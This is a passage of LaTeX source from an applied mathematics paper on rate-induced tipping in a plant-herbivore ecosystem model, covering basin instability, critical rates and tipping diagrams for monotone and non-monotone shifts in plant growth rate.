path $\Delta_r$ in the $(r,m)$ bifurcation diagram from Fig.~\ref{fig:fbs0}(a)
does not cross any bifurcations.
\item[(iv)] {\em The basin of attraction} of the base equilibrium, defined as
the set of all initial states $(P_0,H_0)$ that converge to the stable base
equilibrium $e(p)$ in time
$$
B(e,p) = \{
(P_0,H_0)\in\mathbb{R}^2: (P(t),H(t))\to e(p),\; t\to +\infty
\},
$$
together with the evolution of $B(e,p)$ along the
chosen parameter path.
For example, Fig.~\ref{fig:fbs0}(b)--(d) shows the (blue shaded) basin
of attraction of $e_3$ for three different settings of $r$ along
the parameter path $\Delta_r$. The boundary between the basins
of attraction of $e_3$ and $e_2$ is given by the stable invariant
manifold of the saddle equilibrium $e_4$.
\item[(v)] {\em Basin instability on a path}.
Let $\overline{B(e,p)}$ denote the basin of attraction
of $e(p)$ together with its basin boundary.
Then, we say that
the stable base equilibrium $e(p)$ is basin unstable on a
parameter path $\Delta$ if there are two points on the path,
$p_1,p_2\in\Delta$, such that $e(p_1)$ is outside the basin
of attraction of $e(p_2)$:
$$
e(p_1) \notin \overline{B(e,p_2)}.
$$
For example, consider $\Delta_r$ from Fig.~\ref{fig:fbs0}(a)
and pick $r_-$. The stable equilibrium $e_3(r_-)$ is contained
within the basin of attraction of $e_3(r)$ for all $r_- < r < r_*$,
lies on the basin boundary of $e_3(r_*)$ [Fig.~\ref{fig:fbs0}(c)],
and is outside the basin of attraction of $e_3(r)$ for all
$r_* < r \le r_+$ [Fig.~\ref{fig:fbs0}(d)]. Thus, $e_3$ is
basin unstable on the path $\Delta_r$ because, for $r_1 = r_-$
and any $r_2\in(r_*, r_+]$, we have that $e_3(r_1)\notin \overline{B(e_3,r_2)}$.
\end{itemize}
{\em Testable criterion for irreversible R-tipping.}
If a stable equilibrium $e(p)$ is basin unstable on a parameter
path $\Delta$, meaning that there are $p_1,p_2\in\Delta$ such that
$e(p_1) \notin \overline{B(e,p_2)}$, then there
is an external input $\Lambda(t)=(r(t),m(t))$ that traces out
the path from $p_1$ to $p_2$ and gives irreversible
R-tipping from $e(p)$. More generally, basin instability is
necessary and sufficient to observe irreversible R-tipping in
one-dimensional systems~\cite{ashwin2017parameter},
and sufficient but not necessary to observe irreversible R-tipping in
higher-dimensional systems~\cite{wieczorek2018}.
The criterion above can be understood intuitively using the
example from Fig.~\ref{fig:fbs0}. Suppose the system starts
in the basin of attraction and near the stable equilibrium
$e_3$ at $r=r_-$, and undergoes a monotone parameter shift from
$r_-$ to any $r\in(r_*,r_+]$. We choose a shift from $r_-$ to $r_+$,
and consider two extreme scenarios. If $r(t)$ varies sufficiently slowly,
meaning that the speed of the moving equilibrium $|\dot{e}(t)|$ is much
slower than the natural timescales of $H(t)$ and $P(t)$, the non-autonomous
system is guaranteed to closely track (adiabatically follow)
the moving stable equilibrium $e_3(t)$ along the
path~\cite{ashwin2017parameter,wieczorek2018}.
However, the dynamics are different when $r(t)$ shifts
smoothly but abruptly from $r_-$ to $r_+$ at some
point in time, remains almost constant otherwise,
and the speed $|\dot{e}(t)|$ during the shift is much
faster than the natural timescales of $H(t)$ and $P(t)$.
Initially, the system approaches $e_3(r_-)$ because $r(t)$
is almost constant. Then comes the shift from $r_-$
to $r_+$, the stable equilibrium $e(t)$ changes its position,
but the system is too slow to respond.
Thus, just after the shift, the system is still
at its earlier position near $e_3(r_-)$, which now lies outside
the basin of attraction of $e_3(r_+)$ and inside the basin of
attraction of $e_2(r_+)$ [Fig.~\ref{fig:fbs0}(d)]. As $r(t)$
remains almost constant from now on, the system approaches
the other stable equilibrium $e_2(r_+)$. These two qualitatively
different scenarios indicate that there is an intermediate critical
rate of change of $r(t)$, above which the system R-tips from
$e_3$ to $e_2$.
We refer to~\cite{wieczorek2018,xie2018} for more general and precise
definitions of basin instability, for rigorous statements of the
sufficient criteria for irreversible R-tipping, and for extension
of these ideas to {\em threshold instability} that captures both
reversible and irreversible R-tipping.
\begin{figure}[t]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{FBS_rm_ppx3.pdf}
\end{center}
\caption{(a) A two-dimensional bifurcation diagram in the
$(r,m)$-parameter plane for $b = b_c = 0.025$ with
a parameter path $\Delta_r$. (b)--(d) Phase portraits for
system~\eqref{eq:dP/dt}--\eqref{eq:dH/dt} at three different
points along the path $\Delta_r$ reveal basin instability
of $e_3$ on $\Delta_r$. Blue shading indicates the basin of
attraction of stable equilibrium $e_3$ for (b) $ r= r_- = 0.75$,
(c) $r = r_* \approx 1.07672$ and (d) $r = r_+ = 1.25$. $e_3(r_-)$
is shown in (c)--(d) for reference to demonstrate that
$e_3(r_-)$ lies on the basin boundary of $e_3(r_*)$ and
outside the basin boundary of $e_3(r_+)$.
}
\label{fig:fbs0}
\end{figure}
\subsection{Beyond Traditional Bifurcation Diagrams: Basin Instability}
To examine the robustness of irreversible R-tipping from $e_3$,
we need to examine the persistence of its basin instability on
different parameter paths in the $(r,m)$ bifurcation diagram.
To this end, we fix $b = b_c = 0.025$ close to the values used in
Ref.~\cite{scheffer2008pulse} [point (d) in Fig.~\ref{fig:bbc}],
and explore different parameter
paths within adjacent regions ${5}$ and ${7}$
from Fig.~\ref{fig:rm}(d). Recall that $e_3$ remains
stable and does not bifurcate within or across the boundary $h$
between those two regions.
Specifically, we choose four different points $p_1$
within region ${5}$, and mark them with a black dot
on different panels in Fig.~\ref{fig:fbs1a}. For each $p_1$,
we identify the set of points $p_2$ within regions ${5}$
and ${7}$ such that $e_3(p_1)\notin \overline{B(e_3,p_2)}$,
and shade this set in grey in Fig.~\ref{fig:fbs1a}. We speak of
the {\em region of basin instability}
\begin{align}
\label{eq:BI}
BI(e_3,p_1) = \{p_2\in\circled{5}\cup\circled{7}: e_3(p_1)\notin \overline{B(e_3,p_2)}\}.
\end{align}
In other words, stable equilibrium $e_3$ is basin
unstable on any parameter path that stays within regions
${5}$ and ${7}$ and connects $p_1$ to some $p_2\in BI(e_3,p_1)$.
The analysis of $BI(e_3,p_1)$ unveils a robust region of basin instability
that can occupy almost the entirety of regions 5 and 7,
and is in line with the intuitive vicious cycle discussion from Section~\ref{sec:vc}.
R-tipping is expected for a variety of parameter paths,
even for small-magnitude shifts in $r$. Basin instability
is easily achieved for increasing $r$,
less easy to achieve for increasing $m$,
and appears impossible to achieve for decreasing $r$ alone
[Fig.~\ref{fig:fbs1a}(a)--(d)]. Moving $p_1$ to a different
position in the $(r,m)$ diagram clearly modifies the region of basin
instability in different ways. For example, starting at
lower values of $m$ gives a small section of basin instability
for shifts in $m$ alone [Fig.~\ref{fig:fbs1a}(b)]. Overall,
the region of basin instability persists upon moving $p_1$ to
near the upper [Fig.~\ref{fig:fbs1a}(c)] or the lower
[Fig.~\ref{fig:fbs1a}(d)] boundary of region ${5}$.
In addition to dangerous magnitudes of environmental
change,
the ecosystem model appears to be particularly sensitive to
how fast the plant growth rate $r$ increases over time.
The basin instability analysis quantifies this effect
in terms of different starting points $p_1$ in the
$(r,m)$ diagram, and
shows that sensitivity to the rate of environmental change
becomes greatly enhanced at higher herbivore mortality
rates $m$.
Beyond the specific ecosystem model, our approach can be used to analyse
tipping phenomena in nonlinear systems in general. Specifically,
the region of basin instability can be superimposed on a classical
bifurcation diagram to indicate rate-induced instabilities that cannot be
captured by classical bifurcation analysis. What is more, the additional
information about rate-induced instabilities can be made more specific
in different ways.
For example, one can specify the form of $\Lambda(t)=(r(t),m(t))$ and the shape of the parameter path (e.g. a straight line between $p_1$ and $p_2$) and use colour-scale instead of plane gray to indicate different critical rates for each point $p_2$ within $BI(e_3,p_1)$. Another possibility is to fix $p_1$ and $p_2$ and analyse critical rates with dependence on the shape of parameter path between $p_1$ and $p_2$. This type of analysis is left for future work.
\clearpage
\begin{figure}[ht]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{r-m_2X2_FBS_16cm.pdf}
\end{center}
\caption{
(Shading) Region of basin instability $BI(e_3,p_1)$ in the
$(r,m)$ bifurcation diagram for stable equilibrium $e_3$ along
continuous parameter paths from $p_1$ consists of all
points $p_2$ such that $e_3(p_1)\notin \overline{B(e_3(p_2))}$
(or $e_3(p_1)\in B(e_2(p_2))$)
as defined by Eq.~\eqref{eq:BI}. $p_1$ is chosen to be at
$(r,m)$ = (a) $(0.5,0.12)$, (b) $(0.75,0.075)$, (c) $(1.25,0.11)$
and (d) $(1.25,0.025)$. $b = b_c = 0.025$.
}
\label{fig:fbs1a}
\end{figure}
\clearpage
\begin{figure}[ht]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[width=11cm]{Forcing_Functions8cm.pdf}
\end{center}
\caption{(a) ($c^{\uparrow}$) Monotone~\eqref{eq:force1} and
($c^{\, \updownarrow}$) non-monotone~\eqref{eq:force2} parameter
shifts $r(t)$ used in Sec.~\ref{sec:Rtip}. (b) ($c^{\uparrow}$)
Monotone~\eqref{eq:force3} and ($c^{\, \updownarrow}$)
non-monotone~\eqref{eq:force2} parameter shifts $r(t)$
used in Sec.~\ref{sec:pnr}. The dashed horizontal line
indicates $r_+ = r_- + \Delta_r$.}
\label{fig:monononmono}
\end{figure}
\subsection{Tipping Diagrams for Parameter Shifts}
\label{sec:IRtip}
Now, consider irreversible R-tipping from $e_3(t)$
in the non-autonomous system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}.
Guided by the basin instability analysis performed
in the previous section, we focus on shifts in the
plant growth rate $r$. Specifically, we analyse
the system response to two shapes of $r(t)$, each of
which is parameterized by its {\em magnitude} $\Delta_r$
and {\em rate} $\varepsilon$. Firstly, we consider a
monotone shift
\begin{equation}
\label{eq:force1}
r(t) = r_- + \dfrac{\Delta_{r}}{2}\left(\tanh(\varepsilon t) + 1\right),
\end{equation}
from $r_-$ to $r_+ = r_- + \Delta_r$ at the rate $\varepsilon$ in
units inverse day, and with $\dot{r}_{\scriptsize{max}} =
\varepsilon \Delta_r/2$ in units inverse day squared [$c^{\uparrow}$
in Fig.~\ref{fig:monononmono}(a)]. Secondly, we consider a non-monotone
shift
\begin{equation}
\label{eq:force2}
r(t) = r_- + \Delta_{r} \, \mbox{sech\,}(\varepsilon t),
\end{equation}
from $r_-$ to $r_+ = r_- + \Delta_r$ and then back to $r_-$
at the rate $\varepsilon$ and
$\dot{r}_{\scriptsize{max}} = \varepsilon \Delta_r/2$
[$c^{\,\updownarrow}$ in
Fig.~\ref{fig:monononmono}]. Such a setting enables parametric
study in the form of two-dimensional
$(\Delta_r, \varepsilon)$ or $(\Delta_r, \dot{r}_{max})$ {\em tipping diagrams}
to identify {\em critical rates} $\varepsilon_c$ at which
the system switches between tracking and irreversible
R-tipping.
In all instances, the non-autonomous
system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}
is initialised at the moving stable equilibrium
$$
(P(t_0),H(t_0)) = e_3(t_0),
$$
at some initial time $t_0$ such that
$$
r(t_0) = r_- + \delta,
$$
is $\delta$-close to $r_-$, and $\dot{r}(t_0)\ll \dot{r}_{max}$
to ensure that the speed of the moving equilibrium $|\dot{e}_3(t_0)|$ is sufficiently small.
(Note that initiating the system at $r_0 = r_-$ would require $t_0 = -\infty$.)
Henceforth, we set $\delta = \Delta_r/10^3$. This gives
$$
t_0(\varepsilon) = \frac{1}{\varepsilon} \tanh^{-1}\left(-0.998 \right)
\approx -\frac{3.453}{\varepsilon},
$$
with $\dot{r}(t_0) \approx 0.004\,\dot{r}_{max}$ for the monotone
input~\eqref{eq:force1}, and
$$
t_0 (\varepsilon) = \frac{1}{\varepsilon}\,\mbox{sech\,}^{-1}\left(10^{-3}\right)
\approx -\frac{7.6}{\varepsilon},
$$
with $\dot{r}(t_0) \approx 0.002\,\dot{r}_{max}$
for the non-monotone input~\eqref{eq:force2}.
\clearpage
\begin{figure}[t]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{RateBif_Tanh_16cm_a_r75m07.pdf}
\end{center}
\caption{
The same as Fig.~\ref{fig:pht01} but with (a) the extended
path $\Delta_r$ and the addition of the shaded region of basin
instability $BI(e_3,p_1)$ for
$p_1 = (0.75,0.075)$ as defined by Eq.~\eqref{eq:BI}, and (b)
the addition of the green trajectory for
$\varepsilon \approx \varepsilon_c$ that (rather surprisingly)
follows the unstable moving equilibrium $e_4(t)$.
}
\label{fig:pht1}
\end{figure}
\begin{figure}[t]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{RateBif_Tanh_16cm_b_r75m07.pdf}
\end{center}
\caption{Tipping diagrams in the (a) $(\Delta_r,\varepsilon)$
and (b) $(\Delta_r,\dot{r}_{max})$ parameter plane for monotone
shifts~\eqref{eq:force1} from $p_1 = (0.75,0.075)$ along the
extended parameter path $\Delta_r$ from Fig.~\ref{fig:pht1}(a).
The tipping-tracking transition curve $c^\uparrow$ separates the
diagram into regions of (white) tracking and (pink) irreversible
R-tipping. $BI$ indicates the boundary of the basin instability
region $BI(e_3,p_1)$. The critical rate $\varepsilon_c$ corresponds
to Fig.~\ref{fig:pht1}(b). $b = b_c = 0.025$.
}
\label{fig:epsrdot1}
\end{figure}
\clearpage
\begin{figure}[t]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{Tanh_r5m12_a_dyndel_p1.pdf}
\end{center}
\caption{
(a) Example of a parameter path $\Delta_r$ across the homoclinic
bifurcation $h$ separating regions 5 and 7 together with (shading)
the region of basin instability $BI(e_3,p_1)$ for $p_1 = (0.5,0.12)$
in the $(r,m)$-bifurcation diagram.
(b) The non-autonomous system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}
with monotone parameter shift~\eqref{eq:force1} from $p_1$
along $\Delta_r$ (blue) tracks the moving stable
equilibrium when $\varepsilon = \varepsilon_c^- = 0.0175 < \varepsilon_c$,
(green) (rather surprisingly) tracks the repelling limit cycle
from region 7 when $\varepsilon = 0.020342768468207 \approx \varepsilon_c$,
and (red) R-tips when $\varepsilon = \varepsilon_c^+ = 0.021 > \varepsilon_c$.
The moving equilibria are obtained for $\varepsilon = \varepsilon_c$. $b = b_c = 0.025$.
}
\label{fig:pht3}
\end{figure}
\subsubsection{Monotone Shifts Across Basin Instability Boundary: Single Critical Rate}
Figure~\ref{fig:pht1} sheds more light on the R-tipping from
Fig.~\ref{fig:pht01}. Firstly, the stable equilibrium $e_3$ can be basin
unstable upon increasing $r$ from $p_1$ along the path $\Delta_r$
[Fig.~\ref{fig:pht1}(a)]. Secondly, there is a critical rate
$\varepsilon_c$ which defines the transition
between tracking and R-tipping. When $\varepsilon = \varepsilon_c$,
the non-autonomous system neither tracks $e_3(t)$ nor R-tips to $e_2(t)$
but, rather surprisingly, follows the unstable equilibrium
$e_4(t)$ [Fig.~\ref{fig:pht1}(b)]. This behaviour is akin to so-called canard trajectories
that follow unstable slow manifolds in slow-fast systems~\cite{gandhi2015dynamics,szmolyan2001canards}.
It is interesting to note that critical-rate canard trajectories can
follow different unstable states, depending on the basin boundary for the
future-limit autonomous system. For example, Fig.~\ref{fig:pht3}(a)
shows a parameter path $\Delta_r$ that starts at $p_1$ in region 5 and extends
past the subcritical homoclinic bifurcation $h$ to region 7.
Along this path, equilibrium $e_3$ is smoothly stable, but its basin
boundary changes from the stable invariant manifold of saddle $e_4$ (region
5) to a repelling limit cycle (region 7) [Fig.~\ref{fig:pp}].
Given a monotone shift from $p_1$ along $\Delta_r$ and across $h$,
there is R-tipping due to basin instability. The difference from Fig.~\ref{fig:pht1}(b)
is the (green) critical-rate canard trajectory which now
follows the unstable limit cycle [Fig.~\ref{fig:pht3}(b)].
A systematic analysis of R-tipping for monotone shifts~\eqref{eq:force1}
from $p_1$ along the path $\Delta_r$ from Fig.~\ref{fig:pht1}(a) gives the
$(\Delta_r,\varepsilon)$ and $(\Delta_r,\dot{r}_{max})$
tipping diagrams [Fig.~\ref{fig:epsrdot1}]. In the diagrams,
the tracking-tipping transitions occur along the curve $c^\uparrow$.
This curve divides the tipping diagram into separate regions of (white) tracking and
(pink) irreversible R-tipping [Fig.~\ref{fig:epsrdot1}].
The entire R-tipping region appears to be located past the basin
instability boundary $BI$. As $\Delta_r$ decreases,
the $c^\uparrow$ curve is asymptotic to $BI$ from the right. This suggests that
basin instability is both sufficient
and necessary for irreversible R-tipping in the ecosystem model.
In general, this need not be the case in higher (than one) dimensional systems,
where basin instability is guaranteed to be sufficient for R-tipping, but is not
guaranteed to be necessary for R-tipping;
see~\cite{xie2018,kiers2018conditions}
for examples of irreversible R-tipping in two dimensions in the
absence of basin instability. What is more, as $\Delta_r$ increases,
the $c^\uparrow$ curve appears to level off at $\dot{r}_{max}\approx 0.045$.
In other words, R-tipping in the ecosystem model requires sufficiently
large $\dot{r}_{max}$, rather than $\varepsilon$, independently of $\Delta_r$.
Thus, one can give simple approximate conditions for irreversible
R-tipping along this path in terms of $\Delta_r$ exceeding the boundary
$BI$ and $\dot{r}_{max}$ exceeding the critical value $\approx 0.045$.
Finally, we say that this R-tipping is unique,
meaning that there is a unique critical rate
$\varepsilon_c$ for every fixed magnitude $\Delta_r$
that exceeds the boundary $BI$.
\subsubsection{Non-monotone Shifts Across Basin Instability Boundary: Two Critical Rates}
Now, consider system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}
with non-monotone $r(t)$ tracing out the path $\Delta_r$ in
Fig.~\ref{fig:pht1}(a) from $p_1$ at $r_- = 0.75 $ to
$r_- + \Delta_r$ and then back to $p_1$. The six solutions for
different values of $\varepsilon$ shown in Fig.~\ref{fig:pht2}(a)--(b)
highlight the main difference from the monotone shift: two different
critical rates for the same $\Delta_r$. Specifically, the system tracks $e_3(t)$
below the first critical rate $\varepsilon < \varepsilon_{c1}$,
then switches from tracking to irreversible R-tipping when
$\varepsilon = \varepsilon_{c1}$, R-tips for a range of rates
$\varepsilon_{c1} < \varepsilon < \varepsilon_{c2}$, then switches
back from irreversible R-tipping to tracking when $\varepsilon = \varepsilon_{c2}$,
and continues to track $e_3(t)$ for $\varepsilon > \varepsilon_{c2}$.
In the $(\Delta_r,\varepsilon)$ and $(\Delta_r,\dot{r}_{max})$
tipping diagrams, tracking-tipping transitions occur along the
curve $c^{\,\updownarrow}$. This curve divides the tipping diagram
into two separate regions of (white) tracking and (pink) irreversible
R-tipping. The region of irreversible R-tipping is located
past the basin instability boundary $BI$, and is tongue-shaped.
The R-tipping tongue is reminiscent of a resonance tongue~\cite{marchionne2018synchronisation}
in the sense that the system exhibits a strongly enhanced response to external
inputs with optimal timing. This tongue shape can be understood in terms
of relative time scales. At high $\varepsilon$, the natural
timescales of $H(t)$ and $P(t)$ are slower than $e_3(t)$. Thus, the system
is unable to respond to a short impulse $r(t)$. As $\varepsilon$ is decreased,
the natural timescales of $H(t)$ and $P(t)$ get closer to $e_3(t)$, the
system starts to react to the input and R-tips due to basin instability.
This transition is marked by the higher critical rate. As $\varepsilon$
is decreased further, the natural timescales of $H(t)$ and $P(t)$ become
comparable to $e_3(t)$, giving rise to a strongly enhanced response in the form of
the tipping tongue. As $\varepsilon$ is decreased even further,
the natural timescales of $H(t)$ and $P(t)$ become faster than $e_3(t)$,
and the system starts to closely track $e_3(t)$. This transition
is marked by the lower critical rate. In summary, for a fixed $\Delta_r$
past the $BI$ boundary, the $\varepsilon$-interval of irreversible
R-tipping can be bounded by two critical rates, $\varepsilon_{c1}$
from below and $\varepsilon_{c2}$ from above [Fig.~\ref{fig:epsrdot2}(a)--(b)].
We describe this as non-unique R-tipping.
\clearpage
\begin{figure}[t]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{RateBif_Sech_16cm_a_dyndel.pdf}
\end{center}
\caption{
Trajectories of the non-autonomous system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}
with non-monotone parameter shifts~\eqref{eq:force2} from $p_1=(1.0,0.075)$
along a path $\Delta_r$ with fixed $m=0.075$ and time-varying $r >1$.
(a) The system (blue) tracks the moving stable equilibrium $e_3(t)$ when
$\varepsilon = \varepsilon_{c1}^- = 0.1 < \varepsilon_{c1}$, (green) rather surprisingly
follows the moving unstable equilibrium $e_4(t)$ when
$\varepsilon = 0.166491526823788 \approx \varepsilon_{c1}$,
and (red) R-tips when $\varepsilon = \varepsilon_{c1}^+ = 0.2 > \varepsilon_{c1}$.
(b) Upon further increase in the rate, the system (green) again rather surprisingly
follows the moving unstable equilibrium when
$\varepsilon = 1.049396269470948 \approx \varepsilon_{c2}$, and (blue) switches
back to tracking $e_3(t)$ when $\varepsilon = \varepsilon_{c2}^+ = 1.5 > \varepsilon_{c2}$.
The moving equilibria are obtained for (a) $\varepsilon = \varepsilon_{c1}$
and (b) $\varepsilon = \varepsilon_{c2}$. $b = b_c = 0.025$.
}
\label{fig:pht2}
\end{figure}
\begin{figure}[t]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{RateBif_Sech_16cm_b_dyndel.pdf}
\end{center}
\caption{
Tipping diagrams in the (a) $(\Delta_r,\varepsilon)$
and (b) $(\Delta_r,\dot{r}_{max})$ parameter plane for
non-monotone shifts~\eqref{eq:force2} from $p_1 = (1.0,0.075)$
along a path $\Delta_r$ with a fixed $m=0.075$ and varied $r>1$.
The tipping-tracking transition curve $c^{\,\updownarrow}$ separates the
diagram into regions of (white) tracking and (pink) irreversible
R-tipping.
$BI$ indicates the boundary of the basin instability region $BI(e_3,p_1)$.
The critical rates $\varepsilon_{c1}$ and $\varepsilon_{c2}$
correspond to Fig.~\ref{fig:pht2}(a) and (b), respectively.
$b = b_c = 0.025$.
}
\label{fig:epsrdot2}
\end{figure}
\clearpage
\section{Interaction Between R-tipping and B-tipping and Multiple Critical Rates}
\label{sec:BRtip}
So far, we have discussed B-tipping and R-tipping in isolation. At
the same time, we recognise that real-world tipping phenomena will often
involve both mechanisms, although the ensuing nonlinear dynamics is
less well understood. This section discusses three different types of interplay between
critical levels and critical rates, and reveals intriguing tipping
diagrams.
\subsection{Monotone Shifts Across Basin Instability Boundary and Dangerous
Bifurcation}
Figure~\ref{fig:pht3} shows a monotone parameter shift from $p_1$
along the parameter path $\Delta_r$ across the subcritical
homoclinic bifurcation $h$ in order to demonstrate the effects of a qualitative
change in the basin boundary along the path. To study the interaction
between B-tipping and R-tipping, we extend this parameter path away
from $p_1$ and past the dangerous (subcritical) Hopf bifurcation
[Fig.~\ref{fig:pht4}(a)]. The ensuing $(\Delta_r,\varepsilon)$ and
$(\Delta_r,\dot{r}_{max})$ tipping diagrams for monotone
shifts~\eqref{eq:force1} from $p_1$ along the extended path
are shown in Fig.\ref{fig:epsrdot3}. The tipping-tracking
transition curve $c^\uparrow$ consists of two distinct parts,
which correspond to two different tipping mechanisms.
The upper part, that has a $\Delta_r$-dependent critical rate
and is asymptotic to the basin instability boundary
$BI$ as $\Delta_r$ decreases, corresponds to unique R-tipping
due to basin instability.
The lower part, that is the vertical line along $\Delta_r = H_e$,
does not have any critical rates in the following sense. Critical transitions
occur past the critical level $\Delta_r = H_e$
independently of the rate, meaning that this part corresponds to B-tipping due to the
dangerous bifurcation $H_e$. The separation between the two tipping
mechanisms is particularly clear-cut in the $(\Delta_r,\dot{r}_{max})$
tipping diagram. When $\dot{r}_{max} > 0.005$,
unique R-tipping for $\Delta_r\gtrsim BI$ is the tipping
mechanism. As $\dot{r}_{max}$ is decreased,
there is an abrupt transition near $\dot{r}_{max}\approx 0.005$ to a different tipping mechanism.
When $\dot{r}_{max} < 0.005$, B-tipping for $\Delta_r > H_e$ is the tipping mechanism.
We would like to point out that the slow passage through a Hopf bifurcation
gives rise to a bifurcation delay that does not vanish if the rate of parameter
change tends to zero~\cite{baer1989slow,neishtadt1987persistence,neishtadt1988persistence}. This means that
trajectories follow the unstable equilibrium past the bifurcation
point for a noticeable time even if the rate of parameter change tends to zero~\cite{baer1989slow}.
Whereas the bifurcation delay has no effect on the tipping diagram for monotone
shifts~\eqref{eq:force1}, it is expected to manifest itself for non-monotone
shifts~\eqref{eq:force2} that are considered in the next section.
\begin{figure}[t]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{Tanh_r5m12_b_dyndeldash.pdf}
\end{center}
\caption{
Tipping diagrams in the (a) $(\Delta_r,\varepsilon)$-
and (b) $(\Delta_r,\dot{r}_{max})$-parameter plane for
monotone shifts~\eqref{eq:force1} from $p_1 = (0.5,0.12)$
along the parameter path $\Delta_r$ from Fig.~\ref{fig:pht4}(a).
The tipping-tracking transition curve $c^{\uparrow}$ separates the
diagram into regions of (white) tracking and (pink) tipping.
$BI$ indicates the boundary of the basin instability region $BI(e_3,p_1)$,
$h$ indicates the homoclinic bifurcation, and $H_e$ indicates the
(dangerous) subcritical Hopf bifurcation of $e_3$.
$b = b_c = 0.025$. The critical rate $\varepsilon_c$ indicated in (a) is the value of $(\Delta_r, \varepsilon)$ that was used to calculated the critical (green) trajectory in Fig.\ref{fig:pht3}(b).}
\label{fig:epsrdot3}
\end{figure}
\begin{figure}[]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{Sech_r5m12_a_dyndel.pdf}
\end{center}
\caption{
Example of a parameter path $\Delta_r$ across the basin instability
region $BI(e_3,p_1)$ and (dangerous) subcritical Hopf bifurcation $H_e$ in
the $(r,m)$ bifurcation diagram.
The non-autonomous system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}
with non-monotone parameter shift~\eqref{eq:force2} from $p_1=(0.5,0.12)$
along $\Delta_r$ (b) tips
below the first critical rate $\varepsilon < \varepsilon_{c1}$,
then switches from tipping to tracking when
$\varepsilon = 0.00165601005\approx \varepsilon_{c1}$
for a range of rates $\varepsilon_{c1} < \varepsilon < \varepsilon_{c2}$,
(c) switches back to tipping when $\varepsilon = 0.014830495837\approx\varepsilon_{c2}$, tips for a range of rates
$\varepsilon_{c2} < \varepsilon < \varepsilon_{c3}$,
and (d) switches again from tipping to tracking
when $\varepsilon = 0.700596344828672\approx \varepsilon_{c3}$.
The moving equilibria are obtained for (b) $\varepsilon = \varepsilon_{c1}$,
(c) $\varepsilon = \varepsilon_{c2}$ and (d) $\varepsilon = \varepsilon_{c3}$.
$b = b_c = 0.025$.
The three different critical rates $\varepsilon_{c1}, \varepsilon_{c2}$ and $\varepsilon_{c3}$ are indicated in the following tipping diagram Fig.\ref{fig:epsrdot4}(a) where one can observe the interaction between the bifurcation-induced $\varepsilon_{c1}$ and the rate-induced $\varepsilon_{c2}$ and $\varepsilon_{c3}$.
}
\label{fig:pht4}
\end{figure}
\begin{figure}[]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{Sech_r5m12_b_dyndel.pdf}
\end{center}
\caption{
Tipping diagrams in the (a) $(\Delta_r,\varepsilon)$
and (b) $(\Delta_r,\dot{r}_{max})$ parameter plane for
non-monotone shifts~\eqref{eq:force2} from $p_1 = (0.5,0.12)$
along the parameter path $\Delta_r$ from Fig.~\ref{fig:pht4}(a).
The tipping-tracking transition curve $c^{\,\updownarrow}$ separates the
diagram into regions of (white) tracking and (pink) tipping.
$BI$ indicates the boundary of the basin instability region $BI(e_3,p_1)$,
$h$ indicates the homoclinic bifurcation, and $H_e$ indicates the
(dangerous) subcritical Hopf bifurcation of $e_3$.
The critical rates $\varepsilon_{c1}$, $\varepsilon_{c2}$
and $\varepsilon_{c3}$ in panel (a) correspond to
Fig.\ref{fig:pht4} (b), (c) and (d), respectively.
$b = b_c = 0.025$.
}
\label{fig:epsrdot4}
\end{figure}
\subsection{Non-monotone Shifts Across Basin Instability Boundary and Dangerous Bifurcation}
Monotone parameter shifts across basin instability and a dangerous
bifurcation give rise to an intuitive tipping diagram with two distinct regimes:
B-tipping for low rates and unique R-tipping for higher rates. Now, we consider
non-monotone shifts along the same path $\Delta_r$ from Fig.~\ref{fig:pht4}(a).
Specifically, $r(t$) increases from $p_1$, passes through the basin instability
boundary $BI$ and through the dangerous (subcritical) Hopf bifurcation $H_e$,
but then turns around and tends back to $p_1$. This turning around allows the
system to avoid tipping even if it goes past the critical level for B-tipping namely past the dangerous bifurcation $H_e$.
What is more, the bifurcation delay gives the system additional time to turn
back before tipping occurs.
The nine solutions for different values of $\varepsilon$ shown in
Fig.~\ref{fig:pht4}(b)--(d) highlight the main difference from the monotone shift:
three different critical rates for the same $\Delta_r$.
The system tips from $e_3(t)$ to $e_2(t)$
below the first critical rate $\varepsilon < \varepsilon_{c1}$,
then switches from tipping to tracking when
$\varepsilon = \varepsilon_{c1}$ [Fig.~\ref{fig:pht4}(b)], tracks $e_3(t)$
for a range of rates $\varepsilon_{c1} < \varepsilon < \varepsilon_{c2}$,
switches back to tipping when $\varepsilon = \varepsilon_{c2}$
[Fig.~\ref{fig:pht4}(c)], tips for a range of rates
$\varepsilon_{c2} < \varepsilon < \varepsilon_{c3}$,
and switches again from tipping to tracking
when $\varepsilon = \varepsilon_{c3}$ [Fig.~\ref{fig:pht4}(d)].
The ensuing $(\Delta_r,\varepsilon)$ and $(\Delta_r,\dot{r}_{max})$
tipping diagrams for non-monotone shifts~\eqref{eq:force2}
from $p_1$ are shown in Fig.\ref{fig:epsrdot4}. Although
the separation between different tipping mechanisms is less
obvious now, the tipping-tracking transition curve $c^{\,\updownarrow}$
still consists of two different parts that can be associated with
the two different tipping mechanisms. At high $\varepsilon$ and
between $BI$ and $H_e$, we replicate the distinctive tongue-shaped
tipping region from Fig.~\ref{fig:epsrdot2}. Thus, we attribute this
part of the tipping diagram to irreversible R-tipping.
As $\varepsilon$ is decreased, we observe two new features.
Firstly, the curve $c^{\,\updownarrow}$ forms a deep wedge whose tip
delineates the change from R-tipping to B-tipping. Secondly,
as $\varepsilon\to 0$, the curve $c^{\,\updownarrow}$ approaches
the critical level $H_e$ for B-tipping. However, this approach is
`slow', which is in stark contrast to Fig.~\ref{fig:epsrdot2}. The
new features can be explained in terms of relative timescales and a bifurcation delay.
As $\varepsilon$ decreases below the tipping tongue, the natural timescales of $H(t)$ and $P(t)$
